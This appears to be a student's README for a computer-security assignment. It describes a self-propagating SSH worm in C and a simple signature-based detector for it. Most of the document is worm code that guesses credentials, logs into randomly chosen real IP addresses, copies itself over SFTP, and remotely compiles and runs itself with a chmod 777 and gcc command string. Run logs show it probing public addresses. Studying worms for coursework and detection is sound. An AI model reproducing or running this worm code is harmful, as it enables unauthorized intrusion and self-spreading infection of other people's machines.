# CS547-Foundation of Computer Security

## MIDSEM Assignment

**Name**: Chandrawanshi Mangesh Shivaji
**Roll No.**: 1801cs16
**Filename**: README.pdf
**Date**: 24 Feb 2022

**# WORM Program Flow : (1801CS16_MSE_WORM.c)**

1. **Creation of Set of Usernames/Passwords :**

```
char alphabet[26] = {
    'a','b','c','d','e','f','g','h','i',
    'j','k','l','m','n','o','p','q', 'r',
    's','t','u','v','w','x','y','z'
};

char digit[10] = {
    '0','1','2','3','4','5','6','7','8','9'
};

char NamePrefix[][5] = {
    "you","xani","bell","nato","eva","man","sam"
};

char NameSuffix[][5] = {
    "","us","ix","ox","ith","ath","y","123",
    "axia","imus","ais","itur","orex","o",
    "456","789","007","um","ator","or"
};

const char NameStems[][10] = {
    "adur","aes","anim","apoll","imac",
    "educ","equis","extr","guius","hann",
    "equi","amora","hum","iace","ille",
    "inept","iuv","obe","ocul","orbis",
    "_","-","1234","5678","1007"
};
```

```
// Function to generate username
void NameGen(char * UserName, int pf, int stm, int sf) {
    UserName[0] = 0;
    strcat(UserName, NamePrefix[pf]);
    strcat(UserName, NameStems[stm]);
    strcat(UserName, NameSuffix[sf]);
    return;
}

// Function to generate password, format : a chars, b digits, c
void PassGen(char * password, int a, int b, int c) {
    int i = 0;

    while (a--) {
        password[i++] = alphabet[rand() % 26];
    }
    while (b--) {
        password[i++] = digit[rand() % 10];
    }
    while (c--) {
        password[i++] = alphabet[rand() % 26];
    }

    password[i] = '\0';
    if (rand() % 2 && password[0] >= 'a' && password[0] <= 'z')
        password[0] = toupper(password[0]);

    return;
}
```

21(16+5) pairs of (username, password) are generated using above methods which use randomization. These will be later used to perform attacks on/ get access to remote hosts in case of a match.

## 2. Try Breaking into Random Hosts :

```
char HostIPAddress[15];

for(int i=0;i<4;i++){
    int num = rand() % 256;
    HostIPAddress[i*4] = (num/100 + '0');
    HostIPAddress[i*4 + 1] = ( ((num/10)%10) + '0');
    HostIPAddress[i*4 + 2] = (num%10 + '0');

    if(i != 3)
        HostIPAddress[i*4 + 3] = '.';
}
printf("\nHost IP Address : %s\n", HostIPAddress);
```

```
//Create session
ssh_session my_ssh_session = ssh_new();
if(my_ssh_session == NULL)
{
    printf("Unable to start the session.....\n");
    continue;
}

//Settings
int verbosity = SSH_LOG_PROTOCOL;
int port = 22;
ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, HostIPAddress);
ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity);
ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port);

//Connect to server
int rc;
rc = ssh_connect(my_ssh_session);
if(rc != SSH_OK)
{
    fprintf(stderr, "Error connecting to localhost: %s\n",ssh_get_error(my_ssh_session));
    ssh_free(my_ssh_session);
    continue;
}

//Authenticate User
rc = ssh_userauth_password(my_ssh_session, NULL, passwords[idx]);
if(rc != SSH_AUTH_SUCCESS){
    fprintf(stderr, "Error authenticating with password: %s\n",ssh_get_error(my_ssh_session));
    ssh_disconnect(my_ssh_session);
    ssh_free(my_ssh_session);
    continue;
}
```

Generate Random IP Address corresponding to a host and then create a ssh session to login into it using the embedded set of usernames and passwords.

### 3. Send Worm Code :

```
//In case of succesful auth, send worm code to remote server using sftp

//Create sftp session
sftp_session sftp;

sftp = sftp_new(my_ssh_session);
if (sftp == NULL){
    fprintf(stderr, "Error allocating SFTP session: %s\n",ssh_get_error(my_ssh_session));
    sftp_free(sftp);
    ssh_free(my_ssh_session);
    continue;
}

rc = sftp_init(sftp);
if (rc != SSH_OK){
    fprintf(stderr, "Error initializing SFTP session: code %d.\n",
    sftp_get_error(sftp));
}

//Create a directory(malware) in remote server
rc = sftp_mkdir(sftp, "malware", S_IRWXU);
if(rc != SSH_OK){
    if (sftp_get_error(sftp) != SSH_FX_FILE_ALREADY_EXISTS){
        fprintf(stderr, "Can't create directory: %s\n",ssh_get_error(my_ssh_session));
    }
}
```

```
//Transfer worm code
rc = sftp_send_file(my_ssh_session,sftp);
if (rc != SSH_OK)
{
    printf("Not able to transfer 1801CS16_MSE_WORM.c in remote server \n");
    fprintf(stderr, "Error: %s\n", ssh_get_error(my_ssh_session));
    ssh_free(my_ssh_session);
    continue;
}
```

Create a secure file transfer protocol session, create a directory named ‘malware’ in the remote system. Transfer worm code to this directory. Along the way check is done in case validation of session is not proper. Following snippet creates a new worm file on the remote host and writes to it the content of the worm.

```c
// Write/Transfer a file at a remote server location/directory
int sftp_send_file(ssh_session session, sftp_session sftp){

    int access_type = O_WRONLY | O_CREAT | O_TRUNC;

    sftp_file file;
    file = sftp_open(sftp, "/malware/1801CS16_MSE_WORM.c", access_type, 1);

    if (file == NULL){
        fprintf(stderr, "Can't open file for writing: %s\n", ssh_get_error(session));
        return SSH_ERROR;
    }

    FILE *ptr;
    ptr = fopen("1801CS16_MSE_WORM.c", "r");
    if (ptr == NULL){
        printf("1801CS16_MSE_WORM.c can't be opened \n");
        return -1;
    }

    char buffer[1024];
    int nwritten = 0;
    while (fgets(buffer, 1024, ptr) != NULL){
        nwritten += sftp_write(file, buffer, 1024);
    }

    fclose(ptr);

    int length = strlen(buffer);
    int rc;
    nwritten = sftp_write(file, buffer, length);

    if(nwritten != length){
        fprintf(stderr, "Can't write data to file: %s\n",ssh_get_error(session));
        sftp_close(file);
        return SSH_ERROR;
    }

    rc = sftp_close(file);
    if (rc != SSH_OK){
        fprintf(stderr, "Can't close the written file: %s\n",ssh_get_error(session));
        return rc;
    }

    return SSH_OK;
}
```

## 4. Remote Execution of Worm :

```c
//Execute worm on remote server
rc=run_remote_processes(my_ssh_session);
if (rc != SSH_OK)
{
    printf("Not able to run 1801CS16_MSE_WORM.c in remote server \n");
    fprintf(stderr, "Error: %s\n", ssh_get_error(my_ssh_session));
    ssh_free(my_ssh_session);
    continue;
}
```

```c
// Run the worm in remote server to make it self-contained
int run_remote_processes(ssh_session session)
{
    ssh_channel channel;
    int rc;

    channel = ssh_channel_new(session);
    if (channel == NULL)
        return SSH_ERROR;

    rc = ssh_channel_open_session(channel);
    if (rc != SSH_OK)
    {
        ssh_channel_free(channel);
        return rc;
    }

    rc = ssh_channel_request_exec(channel, "cd /malware/;
        chmod 777 1801CS16_MSE_WORM.c;
        gcc -Wall 1801CS16_MSE_WORM.c -o 1801CS16_MSE_WORM -lssh -DLIBSSH_STATIC;
        ./1801CS16_MSE_WORM");
    if (rc != SSH_OK)
    {
        ssh_channel_close(channel);
        ssh_channel_free(channel);
        return rc;
    }


    ssh_channel_close(channel);
    ssh_channel_free(channel);

    return SSH_OK;
}
```

Remotely execute the worm to attain the self contained property of the worm. THe above code snippet details the exact process of remote execution along with the necessary commands.

## # Execution/Infection :

### Command to Compile and Run WORM :

```
/Desktop/1801CS16# gcc -Wall 1801CS16_MSE_WORM.c -o 1801CS16_MSE_WORM -lssh -DLIBSSH_STATIC
/Desktop/1801CS16# ./1801CS16_MSE_WORM
```

### Case 1 : Valid IP Address for Remote Host

```
Try breaking into random hosts ...
Host IP Address : 212.196.194.124
username : samaesum
password : h0344epcgirf
[2022/02/24 04:57:22.082531, 2] ssh_config_parse_line:  Unapplicable option: SendEnv, line: 50
[2022/02/24 04:57:22.082627, 1] ssh_config_parse_line:  Unsupported option: HashKnownHosts, line: 51
[2022/02/24 04:57:22.082672, 2] ssh_connect:  libssh 0.9.3 (c) 2003-2019 Aris Adamantiadis, Andreas Schneider
ut your rights, using threading threads_pthread
[2022/02/24 04:57:22.083966, 2] ssh_socket_connect:  Nonblocking connection socket: 3
[2022/02/24 04:57:22.084022, 2] ssh_connect:  Socket connecting, now waiting for the callbacks to work
[2022/02/24 04:57:32.094290, 1] ssh_connect:  Timeout connecting to 212.196.194.124
Error connecting to localhost: Timeout connecting to 212.196.194.124
```

Timeout as it is really unlikely for password and username to match

### Case 2 : InValid IP Address

```
Try breaking into random hosts ...
Host IP Address : 027.125.084.070
username : youaesator
password : phft184184ke
[2022/02/24 04:57:42.106050, 2] ssh_config_parse_line:  Unapplicable option: SendEnv, line: 50
[2022/02/24 04:57:42.106164, 1] ssh_config_parse_line:  Unsupported option: HashKnownHosts, line: 51
[2022/02/24 04:57:42.106246, 2] ssh_connect:  libssh 0.9.3 (c) 2003-2019 Aris Adamantiadis, Andreas Schneider
ut your rights, using threading threads_pthread
[2022/02/24 04:57:42.207709, 1] ssh_connect_host_nonblocking:  Failed to resolve hostname 027.125.084.070 (Nar
[2022/02/24 04:57:42.207854, 2] ssh_socket_connect:  Nonblocking connection socket: -1
Error connecting to localhost: Failed to resolve hostname 027.125.084.070 (Name or service not known)
```

Generated IP Address is not valid for connection

## # WORM Detection : (Signature Based Mechanism)

The code searches for c files and checks whether the signatures are present in it. In case there are ¾ signatures in it, the filename is printed as one of the suspicious worm files.

```
// Probable Signatures of a worm
char signature1[] = "sftp_mkdir";
char signature2[] = "ssh_userauth_password";
char signature3[] = "sftp_write";
char signature4[] = "ssh_channel_request_exec";
```

```
FILE* f;
f = fopen(path, "r");

if(f == NULL){
    printf("FILE NOT FOUND!\n");
    continue;
}

// Check for all the signatures in every line
char buffer[1024];
while(fgets(buffer, 1024, f)){
    buffer[strcspn(buffer,"\n")] = 0;

    if(strstr(buffer, signature1)){
        infected1 = 1;
    }

    if(strstr(buffer, signature2)){
        infected2 = 1;
    }

    if(strstr(buffer, signature3)){
        infected3 = 1;
    }

    if(strstr(buffer, signature4)){
        infected4 = 1;
    }
}


if(infected1 + infected2 + infected3 + infected4 >= 3){
    printf("File %s may contain / may be WORM!!!\n", dir->d_name);
}
```

**# Execution :**

**Command to Compile and Run :**

```
/Desktop/1801CS16# gcc 1801CS16_MSE_WRM_DET.c -o 1801CS16_MSE_WRM_DET
/Desktop/1801CS16# ./1801CS16_MSE_WRM_DET
File 1801CS16_MSE_WORM.c may contain / may be WORM!!!
```

**# Possible Flaws in detection scheme :**

**False Positives** : In case there is a program which genuinely uses ssh and sftp functionality our detection scheme will mark it as a worm even though it is not.

**False Negatives** : There may be the possibility that the ssh and sftp functionality is outsourced to a different file then it will not be caught as a worm.

**# Payload() :**

When there are no servers to infect the payload() function can be called with some probability (It will be ¼ if we consider a large amount of calls). I have not written it in the code but this functionality can be easily extended by making minor changes.

**#NOTE** : The extension to evade detection (PART II) can be done using cryptographic encryption and decryption methods. I have added the pseudo code because I was not able to write the whole code within the time limit.

**********EOF**********